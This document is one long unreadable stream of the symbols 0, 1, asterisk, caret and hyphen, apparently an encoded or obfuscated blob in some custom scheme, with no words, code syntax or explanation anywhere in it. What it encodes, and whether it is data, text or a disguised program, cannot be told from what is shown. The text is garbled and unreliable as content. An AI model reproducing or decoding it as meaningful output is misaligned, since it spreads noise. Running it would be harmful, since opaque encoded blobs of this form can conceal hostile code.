**001^1******1*****1**0101*********001***1*0011**1**00101*011*****-1*1**00101**1***-00^1*1**00101**1**01010^^1*1**00101**1***10^^1*1**00101**1**01*101*1*1**00101**1**00101101**11*1*1**00101*0101***-01**11*1*1**00101*0101**01101101**11*1*1**00101*0101*00101*001**00101*011**10-011**010^1*10-011**010^1*01**0101**01*01011010-*0010^1*1**00101*0101*001*0011**010^1*1**00101*0101*00101010^1*0010^1*1**00101*0101**-*01011*001*0010^1*01**0101*0011**-*0^^11**010^1*01**0101*0011*0010-00-*0010^1*^^1011*0010^1*01**0101**01*00-*010-011**010^1*01**0101*0011*00^1010-*0010^1*1**00101*0101*00101**01*010^1*1**00101*0101*001*011011*0010^1*10-01011*0010^1*01**0101**01*00-*0^1**1*010^1*01**0101*0011*00^1*-*0010^1*1**00101*0101**001*01**00101*011**00-*10^101**010^1*0-*011**0101*0-*00^^-1*0010^1*1**00101*0101*0010110-11*0010^1*1**00101*0101*00^1**1*010^1*1**00101*0101*00101101101**10^1*0-*001**0101*0011*001*10-1*0010^1*1**00101*0101*001010101011*0010^1*0-*001**0101*0011**0-*0-*00-*011**0101*0101*00^1**1*010^1*0-*001**0101*0011*001011*1**010^1*1**00101*0101**-*0101010101**10^1*01**0101*0011**0-*00-*0-**-*001**101*0011*00^-0-*0010^1*1**00101*0101**0-*1**10^1*1**0101^11**010^1*10101*1**00101*00101**011*1**10^1*1**0101^11**010^1*10101*0-*001**^101^^1*10101*1**00101*0-1*010^1*01*010^1*1**00101*0101*001011*-*0010^1*1**00101*0101*00^1*001*0010^1*1**00101*0101*00101010101**10^1*1**00101*0101*00^1101011*0010^1*1**00101*0101**0-*101*001**10^1*01**0101*0011*00101^-1*0010^1*1**00101*0101**-*00-*01010^-*0010^1*11**0101*0-**0-*00-*00-*11**0101*0101**-*01***1*010^1*01**0101*0011*00^1*11**10^1*1**00101*0101*00^101101**10^1*1**00101*0101*00101*1011*0010^1*0-*001**0101*0011*0010110-1**10^1*1**00101*0101*001*101011*0010^1*1**00101*0101*001010^-*0010^1*0-*001**0101*0011*001010-1**010^1*1**00101*0101*00^^1011*0010^1*0-*001**0101*0011**-*010^101**010^1*01**0101*0011*00^10-11*0010^1*1**00101*0101*00101*0-*0010^1*1**00101*0101**-*00-*00-*00-**1**101*0011**-*0^1011011*0010^1*01**0101*0011*0010-001**010^1*10-001**010^1*01**0101**01*010-11011*0010^1*1**00101*0101*00^-011**10^1*1**00101*0101**0-*00-*0-*011**0101*0101**-*0101*1011*0010^1*01**0101*0011*001*00-1*0010^1*1**00101*0101*001*-01**10^1*1**00101*0101*0010101101**010^1*1**00101*0101*001**-*0010^1*1**00101*0101*001*0^11*0010^1*1**00101*0101**-*01011011011*0010^1*01**0101*0011*00101101101**10^1*1**00101*0101*0010-*11*0010^1*1011*011*0010^1*01**0101**01*01*^11**10^1*1**00101*0101*0010110-**010^1*1**00101*0101**0-*00-*01**0101**1*00^-0011*0010^1*1**00101*0101*0010^101**010^1*1**00101*0101*00101010101**10^1*0-*001**0101*0011*001011*01**10^1*1**00101*0101*001*-011*0010^1*1**00101*0101*001*01101**10^1*1**00101*0101*0010-01011*0010^1*1**00101*0101*001*0-11*0010^1*1**00101*0101*00^110-1*0010^1*1**00101*0101*001*00-1*0010^1*0-*001**0101*0011**-*00-*001**0101**1*00^^1011*0010^1*1**00101*0101*00^1011011*0010^1*1**00101*0101**0-*1**00101*011**00-*0-*001**0101**1*00101010101**10^1*0-**-*11**0101*0-*00101^101**10^1*1**00101*0101*00101*-1*0010^1*0-*001**0101*0011*001010110-*0010^1*1**00101*0101*00^^11**010^1*1**00101*0101*001*1^1**10^1*1**00101*0101**-*01*00-1*0010^1*01**0101*0011**-*0^^1011*0010^1*01**0101*0011*001011*1**010^1*1011*1**010^1*01**0101**01*00-*00-*00-*011**0101*0101*001*110-*0010^1*1**00101*0101*00^10-**010^1*1**00101*0101*0010-011**010^1*1**00101*0101**-*01**00101*011****001^1**1*01**001***001*11****01^1*1**010-1*1*0010^1*10101*****0^^1*01**01^1***001^1*01**10--1**11*1*10101*****0^1101*01**01^1***001^1*01**10-1101*1*10101*****01*101*001**1^1*****01*01**1**1^1*1**01^1***001^1*1**011***00^^1*01**01^1*****01*01*001**01^1***001^1*01**^-101*1*10101*****01*101*01**01^1**01***001^1*01**01***001*001*01**01^1***001^1*01**1*-01*1*10101*****01*101*01**01^1***001^1*01**1010-00^1*10101*****01*101*01**01^1***001^1*01**101101^^1*10101*****01*101****1^1*1**01^1*1****1*11*001**01^1***001^1*1**001***00^-****01^1*01**1****^101**001****1^1*1****^101****01^1*10-*****0^101****01^1*****01*01****01^1*1**01****^101****01^1*1**010-*1**10^1*10101*1**01****1*101****1^1*1**01*1011**011*1*10101*****0^^1*01101*****00^11**10-*001*011*1*101*0010-*101*0010-*101*0010-*11****001101*01**001*0010^1****-1*1**010-*1**10^1*10101*1**01***001*1011****0-1*1**010-*1**10^1*10101****-1*1**01***001*0011****0-1*1**010-*1**10^1*10101****-1*10-*1**01***001*1011****0-1*1**010-*1**10^1*10101****-1*1**0101^11**010^1*10101*1**01***001*1*1**1****0-1*1**010-*1**10^1*10101****-1*1**010-*1**10^1*10101*01**1***001*0^1*0-*01011**1*010^1*1****1*11*00101**01*010^1*****0^101**-*0^1**1*010^1*1****1*11**001*0^1**1*010^1*1****1*11*00^--1*0010^1*011**01**001**01*01**001***00^101*0010110-11*0010^1******0101*00^10-11*0010^1*10-******0011*001*--*0011*1*10--11*0011*1*10--11*0011*1*1**011***001*011*01*0-11*0010^1*10^-11*0010^1*1******1*0^110-1*0010^1*^10-11*0010^1*10101101**010^1*1**011***001*011*00101*0^--1*0010^1*1**001***00^-*0010-0-1*0010^1*10-*****01*11**-*0^^-1*0010^1*1****1*11*00101*-1*0010^1*****0^101*001*00-1*0010^1*****0^101*0010-10-*0010^1*****0^101*00^-0-*0010^1*****0^101*0010-00-*0010^1******0101**001*010-11011*0010^1*1****1*11**001*01011*-*0010^1*1****1*11*001**-*0010^1*****0^101*00^-0011*0010^1******0101*0010^10-*0011*1*1**01*****011*00^-0011*0010^1*1**01*****011*00^1^11**10^1*****0^101*001010-011*0010^1*****0^101*001*011011*0010^1*1**01****1*11*001011*01**01****1*01*001*101011*0010^1*10-******0011*001*101011*0010^1******0101*00^1101011*0010^1*****0^101**-*01*101011*0010^1*10-*1*****-*0010^1101**10^1*****0^101*001011011011*0010^1*****0^101**-*0^^1011*0010^1*1*****011*00^1010-*0010^1*****0^101*0010-00-*0010^1*1**01****1*11*00^1^-*0011*1*0-*01**001***00^-**-*00-*0^1*-*0010^1*01****00-**-*010-11011*0010^1*1****1*11**-*0^1*-*0010^1*1****1*11**-*00-*010101^11*0011*1*01****00-*0010101*11*0011*1******0101*001*0^11*0010^1******0101*00101010-1*0011*1*****0^101*0010-*11*0010^1*1**01****1*11**0011*****0^11**1**011*0011*1*011**01*00101^1101*0010^1*10-*****01*11*001010-101*0011*1*^-1101*0010^1*1******1*0101*1101*0010^1*1**011*0011*1*1**001***00^^1**01*01**011*0011*1*1**001***00^-*001**011*0011*1*1**01****1*11*0010-10101*0010^1*^^1101*0010^1*1****1*001*01010101101*0010^1*****0^101**1**10-10101*0010^1*10-10101*0010^1*10-*10-10101*0010^1*0-*01**0101***0^-1*0101*1101*0010^1*10-10101*0010^1*^^1101*0010^1*01****001101*010-10101*0010^1*****0^101*0010-01101*0011*1*1*001101*0010^1*10-*1****^^1*0^1101101*0011*1*10-10101*0010^1*1******1**01*01010-101*0011*1*1****1*11**001*0^1101101*0011*1*1****1*11*00^-0101*0011*1*****0^101*001010110101*0010^1*10-*****01*11*001*110101*0010^1******0101**0-*00-*1**001***00^101*001*010101*0011*1*1**01****1*11*001010^101*0011*1*1*^101*0011*1*1**001***00^^1**-*10-*00-*00-*01***001*11*001*10^1*0010^1******0101*00^101*1*0010^1******0101*0010101101**010^1*****0^101*00^10-1**11*1*101*011**10^1*10101101**010^1*1**011***001*011**01*01011*01011*001****00101*001011*01011*01*****001**001**01**01*001****00101*00101*-**10^1******0101*0011**011**1**101*0010-*0-*01**001***001*11**001*0101*0010-**1**01*0101*0010-**1*0101***01*101**-*0-*00-**-*11*****11*00101010101**10^1*011**01**-*0101101101**10^1*10-*1****^-*00101101101**10^1*****0^101*00101101101**10^1*10-*****01*11*0010101101**010^1*1**01****1*11*00^11*01*0011*1*0-*00-*00-*010-*11****00^1*00-*0101101101**10^1*1*****011**-*0101010101**10^1*1****1*11**-**-*1****1*01**1**0-*0101010101**10^1*01***00^-**0-*0-**-*01***00^101*00101*0010-*101*0010-*101*011**10^1*01***00^^1*0101*011**10^1*****0^101*00101011011**11*1*1**01****1*11*0010^1011**11*1*1**01****1*11**1***01*00-*1**001*****11**0-*1**01*****001****00-1****-1****-1**01****-1*11**1***001*0011**01**01*0101*0010-*101*0010-*11***001*001*0^10101**011*1*0101*01*****011*0011**0-*01*****001*0011**101*001*****001*00101**001*01*****001**101**01*01*****001**001*00-*0101**1****00101*00^10101**011*1*1101*01*****011*00^10101**011*1**1*01*****011**001*00-**01*001****00101*001011**01*01*****001*001011*00-*01*****001*001101*01011*01*****001**001*0101*001*****001**001*00-*01*****001*001101*00-*01*****001**0-*01**1*****001**001**01*01*****001*00^10101**011*1*-*001*****011**001*011**1*****001**0-**1*01*****001**001*0^1*01*****001*00^10-**010^1******0101*0010^^1**11*1*0-*01*****011**0011*1**01****1*01**0-*00-*1****1*01*001**01**11*1*01**1****1*11*001**01**11*1*1**01**11*1*01**01****00^1*00-*00101*01*****001*001*-001*0010^1*****0^101**1**0-*010-011**010^1*01***00^-*001010-1**010^1******0101*0010110-**010^1*****0^101**001*0101*0010-*-**1*****11**001*0101*0010-*^1*001*****11**001*0101*0010-*1101*001*****11*00-*00101*0010-*1*****101**001*0101*0010-*1011*001*****11**001*0101*0010-*1*****101**001*0101*0010-*011**1*****11**001*0101*0010-*0011*001*****11**001*0101*0010-*0101*001*****11**001*0101*0010-**1*001*****11**0011*0-*01*****001**0011*011*001*****001*0010-011**010^1**1*01*****011**001**011**1*0101*0010-*1***1*****01**011*101*001*****001**001**01*0101*0010-**11*1***1*****01**011*0101*01*****001**0011*1**01*****001****00-1**1*01**01***001*011*0010-011**010^1**11*00-*01****00-**-*01010-001*0010^1*1****1*11*00^101^1*0011*1*0-*010^1^1*0010^1*01***00^^1*01010-1**010^1*****0^101**-*0101*001**10^1*1****1*11*0010-011**010^1*10-011**010^1*01**01****00^1*01*1*1**11*1*10-011**010^1*1******1**01**01*0101*0010-*0-*011***00^-*00^^11**010^1******0101**101*0101*11**011*1*1*****011*00101*11**011*1******0101*0010-101**010^1******0101**-*0101*11**011*1*1*****011**-*00-*01**001****00101**-*010110101**010^1*1*****011**001**01*0101*0010-**1*011***00^-**001**01*0101*0010-*1**011***00^-*0010-0-**11*1*^110-**11*1*101010-**11*1*0-*01***1***0^1011*0^10101**011*1*^10101**011*1*^10101**011*1*01****001101*0^10101**011*1*^10101**011*1**1*001****00^1**-*0-*010^101**010^1*01***00^-**-*010^101**010^1*1****1*11*0010^101**010^1*****0^101*0011**10^101**010^1*1****1*11*0010-001**010^1*10-001**010^1*10-001**010^1*01****001101*00101**011*1*****001**001******0011***1*01011*1**010^1*1**001***00^-****00-1*10-*1**01**01***001*-*001011*1**010^1*1**01*****011**001*01011*1**010^1*1011*1**010^1*1**011*****101*00101*00101*01011*1**010^1*0101*01011*1**010^1*1**0101*****11**01**01*01011*1**010^1**1*01011*1**010^1*1**0101*****11*01*^1**011*1*1011*1**010^1*1**001****00^1*01011*001*0010^1*10-0^1*0011*1*0-*0101*0011*****101*001***11*1**001***00^101**0-*01**1****1*01*0010-011**010^1*****0^101*001011*001*0010^1*0-*01****1*11**-**01*01*****001**001*011***1*001***00^101*0011**10-*0-*010-*1****1*11*0010-*01*0011*1*0-*010-*0-*010-*01***00^^1*00-*01**010-*1**10^1*10101*0-*00-*001*****101**-*00-*00-*0-*00-**1****0-**-*010-*0-*00-*001*****11**0-*00-*00-*0-*011*****11*001010^11**11*1*0-*001**01***00^-*0011***1*01****1*01**0-*00-*0-*00-*011*****11*0011**10-*1**01****^101**0-*10-*0-*01*****101*001010^11**11*1*0-**01*001***00^-*001010^11**11*1**1**01*00-**01*00-**01*0011****01101**-*00-*0-*001****00101*0011**10-*0-*01****^101**-*00-*001**01****00101**0-*0-*00-*001****00101**001*00-*01****1*01**-*00-*00-*00-*00-**1****0-*0011**10-*****01*01**-*010-*0-*01*****101**0101*1**001101*1**001**1***01*0010101*1**10101*1***01*01***0^-1*0010^1*011**01**01*-1*0010^1*011**01***00-1*0010^1*011**01**0-10-*0010^1*011**01**00-0-*0010^1*011**01**010110-*0010^1*011**01***110-*0010^1*011**01**011010-*0010^1*011**01**001010-*0010^1*011**01**0^10-*0010^1*011**01***010-*0010^1*011**01**0-00-*0010^1*011**01**001^-*0010^1*011**01**010^-*0010^1*011**01***^-*0010^1*011**01**011*-*0010^1*011**01**001*-*0010^1*011**01**01*0-*0010^1*011**01****-*0010^1*011**01**0-11011*0010^1*011**01**00-1011*0010^1*011**01**010-011*0010^1*011**01***-011*0010^1*011**01**011011011*0010^1*011**01**001011011*0010^1*011**01**0^11011*0010^1*011**01***011011*0010^1*011**01**0-01011*0010^1*011**01**001101011*0010^1*011**01**010101011*0010^1*011**01***101011*0010^1*011**01**01^1011*0010^1*011**01**00^1011*0010^1*011**01**01*1011*0010^1*011**01***001011*0010^1*011**01**0-^11*0010^1*011**01**00-0011*0010^1*011**01**0101^11*0010^1*011**01***1^11*0010^1*011**01**0110^11*0010^1*011**01**0010^11*0010^1*011**01**0^^11*0010^1*011**01***0^11*0010^1*011**01**0-*11*0010^1*011**01**0011*11*0010^1*011**01**0101*11*0010^1*011**01***1*11*0010^1*011**01**011*011*0010^1*011**01**001*011*0010^1*011**01**01*0011*0010^1*011**01****011*0010^1*011**01**0--01*0010^1*011**01**00-1101*0010^1*011**01**010-101*0010^1*011**01***-101*0010^1*011**01**0110-01*0010^1*011**01**0010-01*0010^1*011**01**0^-01*0010^1*011**01***0-01*0010^1*011**01**0-01101*0010^1*011**01*00^-0101*0011*1*011**01***101101*0011*1*011**01*00^1010101*0010^1*011**01**00^1101*0011*1*011**01**001*00-*001**^101^^1*10101*011*00-**01*1101*0011*1*011**01***001101*0011*1*011**01**0-10101*0011*1*011**01*00^1*010-*011*0011***-^1*0011*1*011**01**010-001*0011*1*011**01***-001*0011*1*011**01**01101^1*0011*1*011**01**00101^1*0011*1*011**01**0^1^1*0011*1*011**01***01^1*0011*1*011**01***10^1*0011*1*011**01**00^^1*0011*1*011**01**01*^1*0011*1*011**01***00^1*0011*1*011**01**0-1*1*0011*1*011**01**00-*1*0011*1*011**01**01011*1*0011*1*011**01***11*1*0011*1*011**01**01101*1*0011*1*011**01***01*1*0011*1*011**01*00101**11**1**00--1**10^1*1**0101^11**010^1*10101*011*00^1**101*01*0011*1*011**01**001*001*0011*1*011**01**01**1*0010^1*011**01****001*0010^1*1**0101^11**010^1*10101*011*00^1**10-11**11*1*011**01*0011**10-*011*0011****0101*0011*1*011**01**0-1^1*0011*1*011**01**0-0-**11*1*011**01***10-**11*1*011**01**01^-**11*1*011**01*00101*11**011*1*011**01*00^101*1*0010^1*011**01*001*01*1*0010^1*011**01**001*101*0011*1*011**01**011*101*0011*1*011**01**0-0011**10^1*1**0101^11**010^1*10101*011*00^1**01^11**11*1*011**01**-*01**0101^11**010^1*10101*011*00-****11**11*1*011**01**0-1101**10^1*1**0101^11**010^1*10101*011*00^1*00101*0011**1***0-01**11*1*10-*011*00101**01101101**11*1*10-*011*00101**-*010-*011*0011**-**11**1**0-*00-*001**10--1**11*1*10101*1**0101^11**010^1*10101*011*001011**1010101**10^1*1**0101^11**010^1*10101*011*00^1**1^101**10^1*1**0101^11**010^1*10101*011*00^1**0-^^1*1**0101^11**010^1*10101*011**001**1*0101*0011*1*011**01**010^101*0011*1*011**01*00101*0010-*011*0011**00101011**011*1*011**01*001011*1**010^1*011**01**001*010-*011*0011***0^101*0011*1*011**01**0-001**011*1*011**01***-00^1*011*0011**10-01011*0010^1*011**01**01101^^1*011*0011**001^^^1*011*0011**^11*011**1***001101*1*011*0011***110^^1*011*0011**001010^^1*011*0011***010^^1*011*0011**001*101*1*011*0011**^1*0011**1**1101*0011**1**1**01**11*1*011**01**0011*011**1***10^1*1*011*0011**00^^1*1*011*0011***1*0011**1***00^1*1*011*0011**01**011**1**0-*0011**1***01*1*1*011*0011**00-*011**1***101^^1*011*0011**00^1^^1*011*0011**^-0011*0010^1*011**01**0--1**10^1*1**0101^11**010^1*10101****00101*101*0101*****010^11**00-****0010^11**-*****010^11**0010-11**11*1****0010^101**01**1*0010^1****0010^101****001*0010^1*1**0101^11**010^1*10101****00101*101*0^1*****10^11**101*11**011*1****0010^101*001**01**11*1****0010^101*00101*0010-****00101*01**0-0011**10^1*1**0101^11**010^1*10101****00101*101**01*****10^11***1^11**11*1****0010^101**-*01**0101^11**010^1*10101****00101*001*00101*****10^11**0-*00-*001**10--1**11*1*10101*1**0101^11**010^1*10101****00101*-**1^101**10^1*1**0101^11**010^1*10101****00101*101**0-^^1*1**0101^11**010^1*10101****0010^^1*00-*****10^11**01*****0010^11**00-*00-*00-*1**011***001*11*0011**00-*10^101**010^1*01***00^-**0-*00-*00-*01***00^101**0-*00-*01**01***00^101**-*00-*010101^11*0011*1*01***00^-**0-*101*0010-*1****^101**001**01*0101*0010-*00-*1***1***01*001**01**01*0101*0010-*00-**1**1***01*001**-*0101*01****1*01**0-*10-*00-*00-*00-*11***00^-**-**-*1010-001*0010^1*01***00^-**0-*1*-001*0010^1*1****1*11*00101*0010-*00-*101*0010-*01***00^-*00^1*0101*0010-*1****^101**-**011*1****1*01**0-*10101101**010^1*1****1*11**-**-*101*0010-*01***001*11**-*00-*00-*00-*00-**1***0^-**001**011*1****1*01**001**011**1*0101*0010-*1***1***01*001*0101011011**11*1*00-*1**001***00^-**001**01*01011*1**010^1**1*01011*1**010^1*1**0101***01*011**01*0101*0010-**1*001***001*11**001**01*0101*0010-*00-*0-**1***01*001*0^10101**011*1**1*01****1*11*00^10101**011*1*^10101**011*1*^10101**011*1*01***00^1101*0^10101**011*1*^10101**011*1**1*001***00^^1*00-*00-*001**01***00^101**-*010-*0-*00-*001***001*11**0-*101*011**10^1*1****1*11*00101*0010-*00-*1**001***001*11*0010^1011**11*1*00-*1**001***00^-*0010-011**010^1*10-011**010^1*01**01***00^^1**-*10-011**010^1*1****1*11**-**-*00-*01***00^101**0-*00-*0-*001***00^101**-*00-*00-*00-*011***001*11*00^^11**010^1*****0^101**0-*10-*0-*01****^101**001**01*0101*0010-*00-*101*0010-*001***0^^1*00-**01*01****1*01*00101*0010-*00-*0-*001***001*11**001*011**1****1*01**-*0101101101**10^1*1****1*11**0-*0-*01****1*01**0-*10^1101**10^1*1****1*11**1**00-*1**001***00^101**0-*1011011011*0010^1*1****1*11**0011**11*01**01***00^101*001*1*1**11*1*10-011**010^1*1****1*001*00-*00-*01**001***00^101**-*010-*0-*01****^101**0-*10-^1**10^1**11*^-001**10^1*11***001*101**01*01**01*****001**0-*1**01****1*01*00^1**01*0^1**011*11*****11**0011**01*^1*0101*0010-**11**11**1*0101****00101**-*00-*1*****001**001**001**1**01**011**1**1*****01*0^1*0^1*01*****001*00101^101**10^1******0101*00-*00^1*0^1*001****00101*00^1*010-*^1*0-*00^1*0^1*0^1*0^1*0^1**001*1***01****1011*011***1****0-1*1**00-1*01**001**1***01*0101**01*011*****-1*1101*011**1***001**1*011***1****0-1*^1010-*0010^1*11**1***001*0101*0011**001**011**01**1*011****00-*0011**011**001*0101*0010-*-**01*****01*0011**001*0^101*1*0010^1*01****00-**11*0011***1****0-1**1**1*001***001*^1**01*011**1**01**11*1**01*101*0010-*11*****101**01*011**0-*010-*0-*011****00-**001**01**01*011*****-1**1*0101*001***001*0101**01*00-**01*001**^101^^1*10101*1*****^1*00-**01*001**^101^^1*10101*0-**01*001**^101^^1*10101*1*****0-*00-*00-*001**^101^^1*10101*******01*00-*010-*0-**-*01*0011*1*01*****001*011***1*0^-0011*0010^1*01****00-**0011**-*1*0011*1*1*****011**101**001**11*01**01*****11**0011*^1**001*^1**011**11*01**101****0^1**011*^1*0^1**011*^1*0^1*00-**011*-****00101*0^1*0^1*0^1**1011*1*0011*1**11**11*101****00101*00-*0^1*0^1**0011*1*0011*1**11**11**11*011****01101*0^1*010^101**010^1*0-*0^1*011*****001**1*^1*0011*1*01**^1**011**01**11**11**11*01**-****01011*0^1*001****^1*0011*1**11*11*****001*0011**11**001****0-1*10-11011*0010^1*001*001***001*1101*0011*0011***1*0101*0010-*^1**1*****01**01**-**1*0101**-**1****0-**001**001**1**011**^^1*0011*1*001101*1*0011*1*001*****11**01**001**1**011*00-1*1*0011*1**11*001101*1*0011*1*101****01011**01*00-**01*00-*01***1***0^-*0011**11***1*01011*01011**1****0-**0--1**10^1*1**0101^11**010^1*10101*****01*101*0101*0010-**11*01*0010^1*1*****-**0--1**10^1*1**0101^11**010^1*10101*1**01****^1101**01*00101**01*00-*011*****11*00^1*01**01****1*01**01**1*0010^1*^1*01**001***00^-*0011***1*0^10-**010^1*01****00-*00101*0010-****1*0010^1*1*****-*00101******^11**001**1*0010^1*0-*01**001***00^-**11**11**001****0-1*11**001*001***001*^1*011**11*****-1*^^1011*0010^1*11**1***001*0101*0011**001**011*0-*011*****11*0011***1****0-1*101*0010-*11**1***001*^1**01**01*00101*00-*011*****11**0-*****0^11**-******^11**0010-11**11*1*****0^101*00101*0010-*0010-11**11*1*1**001***001*001*011**11**^10101**011*1*0101*011*****001**01**01**01*0101*0010-*1101**1*****01**1**1*0010^1*1**01****1*11**01**1*0010^1*****0^101**11**11**001**01*0101*0010-****-1*0-*0011*001***001*0011*0011**11****00-1*10-0^1*0011*1*1**00-1*101*00101**1***01*1011**01*011**1*0^11*0010^1*01****00-**11*0011**0101*0101*11**011*1*11*****001*0011**11*001**00-1****-1*101*0010-*001**1***01*1101*011**11*****-1*01**11**1***001**1*0101*0010-*00--1**10^1*1*****-****001*0010^1*1**0101^11**010^1*10101*****01*101*0^1*****00^11*****1*0010^1*1**0101^11**010^1*10101*1**01****^1101**01**01*0-*00101*0010-*11****00-*001010^-*0010^1*0-*00-*0101*0010-*0-*00-*01**0011*****11*00-*00-*0101*0010-*1**011****00-**11**001**01*01**00-1****-1*1**0101**1***01*1101*011**11**0-*001****00101*001*0011**010^1******0101**11**001*0^10101**011*1**1*011*****001*011**11***1**01*0101*0010-****-1**1*0011*001***001*0011**01*011**1*10^1*0010^1*01****00-**-*0101*-**10^1*0-*001****00-**001*0011****00-1*0101*011**1***001**1*011**011****00-1*101*0010-*11**1***001*^1*0011*0011**1**00-1****-1*101*001**10^1*001**1***01*0011*010110-11*0010^1*^10-11*0010^1*1******1****0-1*1**01*00^1*0010^1*10101****-1*1**01*00^1*0010^1*10101*1**01***001*1*1*11***1****0-1*101*0011**1***001**1**01*011**^11*11*0011*1**01**11*11****00^1*0011*0011**1*101011*0010^1*10-*01*****001**-0-**11*1*0-*01*****011**001**01****0-1*^1^11**10^1*11**1***001*0101**01*011**11**10-****-1*0-*010-*001*001***001*1101**01*0011****00-1*1011011011*0010^1*11**1***001*0101*0011*0011***11**11*11*****11**-*00-*00-*010-*01*****11**001*00-*00-*00-*00-**1****0-**001****0-1*10-**01*1**001**1***001*^1*0101*0010-*101*0010-*101*0010-*1**011***00^^1**01*00-*01**001***00^101***10-**11*1**01**1*0101*0010-*01**11*****101**01**01**001**1*0101*0010-**1*0101*0010-***-**11*1**01**1*0101*0010-**11*^1*00101****00101*^1**01**001**1*0101*0010-**1*0101*0010-***-**11*1**01**1*0101*0010-**11*^1*00101****00101**11*^1*01*****001*00^1**01*0101*0010-**1**011**11**01*0-**011**11*^1*0^1****0-**01**01*0101*0010-*0-**011*^1*0101****0^1*0^1**01**001**1*0101*0010-*0-**011*^1*0011****01101*0^1**011*^1*001****00101*00^1*00-*00-**011**01*^1**1*****01**01**01**01****0-1*^1**1*010^1*001*001***001*1101*011**011*001**00-1****-1*0-*010-*001**1***01*1101*011**011*001**00-1****-1*1***1**1***01*0101*0101*11**011*1*1**01****1*11*00101*11**011*1*****0^101*001**01**11*1*1**01****1*11*001**01**11*1*****0^101**101*0101*11**011*1*101*11**011*1*1**01**11*1*0-*00-*01**0011***0^-1**01*0011*001**00-1****-1*1011**1*010^1*001**1***01*0011*011**011*00101*0010-*101*0010-****-1*101*011**10^1*101*001***001*0-*011***1*011**0-*011*****11**11**001*0^10101**011*1*1101*011*****001*011**11**1**00-1****-1*101010101**10^1*001**1***01*0011*00-**1011011**10^1*1*****011*00101*0010-*101*0010-*0-*00-*001**^101^^1*10101*01*****011*00-*00-*0101*0010-*01*****11*0010^1011**11*1**1*0101*0010-*101*0010-*101*0010-*001*****11**01*0101*0010-*101*0010-*101*0010-*11****00^1*001**0-*00-*00-*001**^101^^1*10101*101*0010-*101*0010-*001****00-**1^-**11*1*101*0010-*001^101**10^1*01*****101**01**01****0-1*1**011**1***001**1*0101*0010-*101*0010-*101*0010-*101*0010-*11***001*101*011***1*0^10101**011*1*^10101**011*1*^10101**011*1*001****01011*011**11*****-1*^1^11**10^1*11**1***001*0101*011**11**11**101*0011*****11*0011***1**01**01*0101*0010-****-1*1**0011*001***001*0011*0011**11**0011*011*0011*****11**11**001****0-1**1*011**1***001**1*0101*0010-*10-*101*0010-*1****^-**-**011*101*0010-*01***001*11**0011**01*101*0010-**11**11*11***001*001*00-*00-*00-**011*11***001*11**0011**1*01****1*01*00101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*101***01*-*0^1*0101*0010-*1*****101**1**101*0010-*1****^101**-**01*0101*0010-*01***001*11****00-1****-1**01****-1*01**1***001*0101**01*0101*0010-*1****^101**001*0101*0010-*101*0010-*1*01*1*0010^1*1***1***0^1101*0101*0010-*101*0010-*101*0010-*101*0010-*11*****101*0101*0010-*101*0010-*101*0010-*0-*011****00^1*0101*0010-*101*0010-*0-*00-*011*****001*00-*00-*00-*001***00^101*00101*0010-*1**01****^101*00101*0010-*****01*01**0-0011**10^1*1**0101^11**010^1*10101*1**01****^1101**-0011**10^1*1**0101^11**010^1*10101*****01*101**01*01**01****1*01**001^11**11*1*1**01****1*11**001^11**11*1*****0^101*0011**11**101**001*011*****11*0011***1*010-*01*0011*1*0-*010-****-1*0-*010-*101*001***001*0-*0011**11**1**0-1****-1*1**00-1*10^101**010^1*101*0011***01*0-**01**01****0-1**1*011**1***001**1*011**11***1**011*11*****11*00101*0010-*00-0011**10^1*1****^-**001*0011*00^11*01*0011*1*1**00-1****-1*0-*010-*101**1***01*0-**01*0011****00-1*101***1*0-**1*001***001*0101*0011*0011*****-1*00-*11**1***001**1*0011**001****0-1*1**00-1*01**001**1***01*0101*010-*001*011*1*101*0010-*101*0010-*01****00^1*010-*001*011*1*101*0010-*0-*001*****001*0011**11****00-1*101*11**011*1*11**1***001*0101*0011**11****00-1*101101101**10^1*11**1***001*0101*011**11*****-1*1**01**11*1*11**1***001*0101*011**011****00-1*1**00-1*0-**1**1***01*0101*011***1****0-1*101**01*010^1*11**1***001*0101*0011**11****00-1*1**00-1*101101101**10^1*10-*001**1***01*1011*011**11*****-1*0-*011**1***001**1**01**01****0-1*10-011**010^1*11**1***001*0101**01*0011****00-1*1**00-1*0-**1**1***01*0101*00-*01**0101^11**010^1*10101*1**01****^^1*00-*01**0101^11**010^1*10101*****01*001**01*11**10^1*1**0101^11**010^1*10101******00101*0011*0011**00-*10-*0-*011****00-*0011**11**0101**01*011*****11**11**001****0-1*1**011**1***001**1*011**11**101*11**011*1**01*0101*011****00^1**01**01**-1101**10^1*0-*011*****001*00101*01**01****1*01**101*****00^11**00-1101**10^1*1**0101^11**010^1*10101******00101*0011**11**001****0-1*101**01*001***001*^1*0011**11****00-1*^1**001*0-**1*001***001*0101*0011**11**0011**11*01**001****0-*0011**11***1**01****0-1*0-*0101*001***001*0101*01101*001**1****1*01**-*001**1****1*01*001101*01**01****1*01**101*001**1****1*01**001**01*01****1*01**-**01*00-*001***00^101**001**01*00-*001***00^101**-*010-*****01*01**001*****00^11***1**01*00101*001***00^101**001**01*01101*001***00^101**-*0101*0010-*1****^101**001*011*****-1*1**00-1*10-11011*0010^1*001**1***01*0011**01**01*001**0-1****-1*1**00-1*00-*101*0011***01*0011*0011*0011**10101*11*0011*1*01****00-*00101*0010-*101*0010-*1****1*11**1***1**01*0101*0010-*101*0010-*001***0^^1*00-*00-*01****1*01**-*00-*001**10--1**11*1*10101*1**0101^11**010^1*10101*1**01****^-1*00-*00-*001**10--1**11*1*10101*1**0101^11**010^1*10101*****01*-*011**11**10^10-*0011*1*1**011*****001*00-*010-*1**01****^101*0011**11*****-1*1**00-1*^1**1*010^1*001**1***01*0011*0011*0011*****-1*1**011**1***001**1*0011**11*001**00-1****-1*00-*001**1***01*0101*0011**11**001****0-1*1***1*001***001*^1*011***1****0-1*11**0-1*01**0-1*1**00-1*0-*0011**01***1*0-**01*011*****-1*10-10-*0010^1*11**1***001*0101*011**011****00-1*01**11**1***001**1*010-011**010^1*0-**-*01***00^-**-****0-1*1**01***0011*11****00-1*0-*01**01***0011*11**1**0-*00-*01**011***001*11**11**11*001011*01011*011*****11**-*00-*00-*00-*01***1***0^-**001*0011****00-1*01**11**1***001**1*011***1****0-1*0101*011**1***001**1**01**01****0-1*0-*010-*11**1***001*^1*011***1****0-1*10^101**010^1*11**1***001*0101**0-^^1*1**01****^101**01^101**10^1*1**0101^11**010^1*10101*1**01****^1101**0-^^1*1**0101^11**010^1*10101*1**01****1*101**0-^^1*1**